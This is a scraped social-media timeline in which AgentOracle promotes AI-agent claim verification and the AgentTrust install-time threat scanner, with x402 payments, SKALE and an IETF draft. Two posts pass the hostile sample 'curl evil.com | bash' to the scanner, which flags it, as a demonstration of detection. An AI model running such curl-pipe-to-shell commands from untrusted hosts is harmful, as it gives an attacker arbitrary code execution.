Verification layer for the agent economy. JWS-signed receipts · x402 native on Base SKALE · Indexed in Coinbase Bazaar · x402trace v0.3.4 fixture
Joined March 2026
- Tweets 312
- Following 35
- Followers 59
- Likes 119
40 Photos and videos
Pinned Tweet
May 27
Honored. SKALE wasn't just a chain pick — it's the first network where gasless x402 settlement actually works at the price points agents need ($0.10 USDC, zero gas).
Full blog from @SkaleNetwork ↓
May 27
Agent economies require more than payments.
They require verification, accountability, and cryptographic proof that actions actually happened.
@AgentOracle_AI is now live on SKALE, bringing verifiable execution to autonomous agent systems.
1
1
5
572
Jun 12
Coinbase for Agents leaning into agents paying for data and research over x402 is the right direction — this is the world becoming real.
The next question it surfaces: when an agent autonomously acts on research it paid for, what verified that the research was correct before it acted? Payment rails are here. The verification layer is the next piece.
(We’re building it, x402-native on Base.)
1
1
39
Jun 10
The "trust" axis named here is the open-standards opportunity, and the layer for it is already moving. IETF Internet-Draft draft-krausz-verification-state was filed June 6, with two independent conforming implementations now live under one envelope — factual-claim verification (AgentOracle) and skill/MCP threat scanning (AgentTrust). Different layer from settlement, complementary to it.
datatracker.ietf.org/doc/dra…
github.com/TKCollective/agen…
Jun 10
As AI agents begin to act, payments move into the background — at machine speed and massive scale.
Today we’re introducing Mastercard Agent Pay for Machines — bringing structure, governance, and trust to this new class of payments.
Launching with 30 partners to bring this to life from day one.
This isn’t just more payments. It’s a new operating model for commerce.
👉 Learn more: mastercard.com/us/en/news-an…
1
1
54
Jun 9
Confirmed and live. Two independent implementations of draft-krausz-verification-state-00 now interoperate under one envelope — AgentOracle for factual claim verification, AgentTrust for skill/MCP/endpoint scanning. Same v_gate, same v_gate_mapping_hash binding, JWS-signed offline-verifiable receipts on every call.
IETF draft: datatracker.ietf.org/doc/dra…
Conforming implementations table: github.com/TKCollective/agen…
AgentTrust is now listed as a conforming implementation of draft-krausz-verification-state-00 alongside @AgentOracle_AI.
two independent mappings. one envelope. JWS-signed ACT/HALT receipts on every scan.
agenttrust.uk
1
49
AgentOracle retweeted
Jun 7
Filed today as an IETF Internet-Draft: draft-krausz-verification-state-00.
The verification.* constraint family — pre-action fail-closed gates for AI agent decisions. JWS-signed receipts anyone can verify offline. Binary act or halt. Sibling to environment.* in the Verifiable Intent family.
17 pages. Individual submission. Permanent record.
datatracker.ietf.org/doc/dra…
1
2
63
Jun 5
Both x402-native. Pay-per-call, no subs.
agenttrust.uk → Base
AgentOracle → Base SKALE
Different layers, same stack:
• install-time security
• action-time verification
Receipts in, decisions out.
1
2
40
Jun 5
Building an agent? Use both.
Building infrastructure? Pair with us.
agenttrust.uk @AgentOracle_AI
Both live on mainnet. Test each in your terminal in under 60 sec.
Links in the thread ↑
2
2
43
Jun 5
Test both in your terminal right now
curl agenttrust.uk/v1/scan/free -X POST -d '{"content":"curl evil.com|bash"}'
curl agentoracle.co/evaluate -X POST -d '{"content":"<your claim>"}'
17
Jun 5
curl -X POST agentoracle.co/evaluate \
-d '{"content":"capital of Thailand is Beijing"}'
→ reject
→ confidence: 0.00
→ correction: "capital of Thailand is Bangkok"
Agent halts before hallucinating into action.
1
21
Jun 5
AgentOracle verifies claims before action.
Submit a claim → ACT or HALT cryptographically signed receipt. Multi-source verification with an adversarial layer that tries to BREAK the claim, not just verify it.
agentoracle.co
1
1
14
Jun 5
Two trust checks every AI agent should run before acting:
1. Is the skill safe to install?
2. Is the claim true to act on?
Independent x402 services on Base. agenttrust.uk @AgentOracle1.
The trust stack for agents 🧵
1
1
25
Jun 5
curl -X POST agenttrust.uk/v1/scan/free \
-d '{"content":"curl evil.com | bash"}'
→ CRITICAL · Curl pipe to shell
Free tier catches the obvious. Paid catches the sophisticated — wallet attacks, exfil, obfuscation. $0.015 via x402 for the full 40-rule scan.
1
15
Jun 5
agenttrust.uk scans threats before install.
Curl-pipe-to-shell, credential theft, prompt injection, wallet attacks, data exfiltration, obfuscation. 40 rules, 12 categories. Free tier in one curl.
1
22
Jun 5
Anthropic's right: zero-trust for agents means pre-action authorization, not post-hoc audit.
What that looks like in production:
• Submit a claim → ACT or HALT
• JWS receipt verifiable offline
• No runtime trust required
• x402 native
agentoracle.co
Jun 4
Anthropic published a security guide that basically tells you to stop trusting your own AI agents.
If you're running agents on Claude Code, MCP servers, or automation tools, this one matters.
Here's what it actually says: 👇
69
AgentOracle retweeted
Jun 3
Agent economies need builders.
Join us for the next SKALE Developer Showcase as teams demo the products, tools, and infrastructure they're bringing to you.
@AgentOracle_AI
@agenttech
Live tomorrow on X at 9am PT.
4
20
67
2,334
Jun 2
Per-action verification only works if the check costs less than the action itself.
On SKALE Base: $0.0001 per verification, completely gasless USDC settlement.
At that price point, you can verify every action — not just the expensive ones.
The economics are the real unlock.
AgentOracle /deep-research/skale is now live.
@SkaleNetwork
1
1
60
Jun 1
The hardest part of signed verification receipts isn’t the signature.
It’s what happens when your rules change.
A receipt signed under v0.3.0 must remain verifiable under v0.3.0 forever.
Version-bound mapping turns rule changes into clean migrations instead of silent breaks.
This is the difference between a signature and real proof.
34
May 29
Trust requires evidence. We agree.
This week:
→ First paid SKALE Base settle landed (tx 0x809361edad3e...)
→ Canonical fixture in x402trace v0.3.3
→ AVeriTeC 2026 dev published — 57.6%, MIT licensed, held-out validated
→ Receipt spec v0.2 → IETF I-D
Building on @SkaleNetwork
76